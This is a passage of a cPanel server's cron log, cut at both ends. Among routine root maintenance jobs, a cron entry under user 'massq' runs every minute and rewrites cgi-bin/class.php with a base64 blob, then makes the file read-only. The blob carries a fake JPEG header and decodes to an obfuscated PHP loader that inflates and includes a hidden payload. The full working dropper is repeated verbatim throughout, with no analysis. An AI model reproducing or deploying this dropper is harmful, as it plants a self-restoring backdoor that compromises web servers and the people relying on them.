T0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:25:01 server CROND[24411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:26:01 server CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:26:01 server CROND[25262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:26:01 server CROND[25264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:27:01 server CROND[25657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:27:01 server CROND[25658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:27:01 server CROND[25660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:27:01 server CROND[25659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 02:28:01 server CROND[26036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:28:01 server CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:28:01 server CROND[26038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:29:01 server CROND[26509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:29:01 server CROND[26510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:29:01 server CROND[26511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:30:01 server CROND[26921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:30:01 server CROND[26922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:30:01 server CROND[26924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:30:01 server CROND[26927]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:30:01 server CROND[26928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:30:01 server CROND[26926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:30:01 server CROND[26925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:30:01 server CROND[26929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:31:01 server CROND[27824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:31:01 server CROND[27825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:31:01 server CROND[27826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:32:01 server CROND[28203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:32:01 server CROND[28204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:32:01 server CROND[28205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:33:01 server CROND[28590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:33:01 server CROND[28591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:33:01 server CROND[28592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:34:01 server CROND[29036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:34:01 server CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:34:01 server CROND[29038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:35:01 server CROND[29465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:35:01 server CROND[29467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 02:35:01 server CROND[29469]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 02:35:01 server CROND[29468]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:35:01 server CROND[29470]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 02:35:01 server CROND[29471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:35:01 server CROND[29472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:35:01 server CROND[29474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:35:01 server CROND[29473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:36:01 server CROND[30302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:36:01 server CROND[30303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:36:01 server CROND[30304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:37:01 server CROND[30712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 02:37:01 server CROND[30713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:37:01 server CROND[30710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/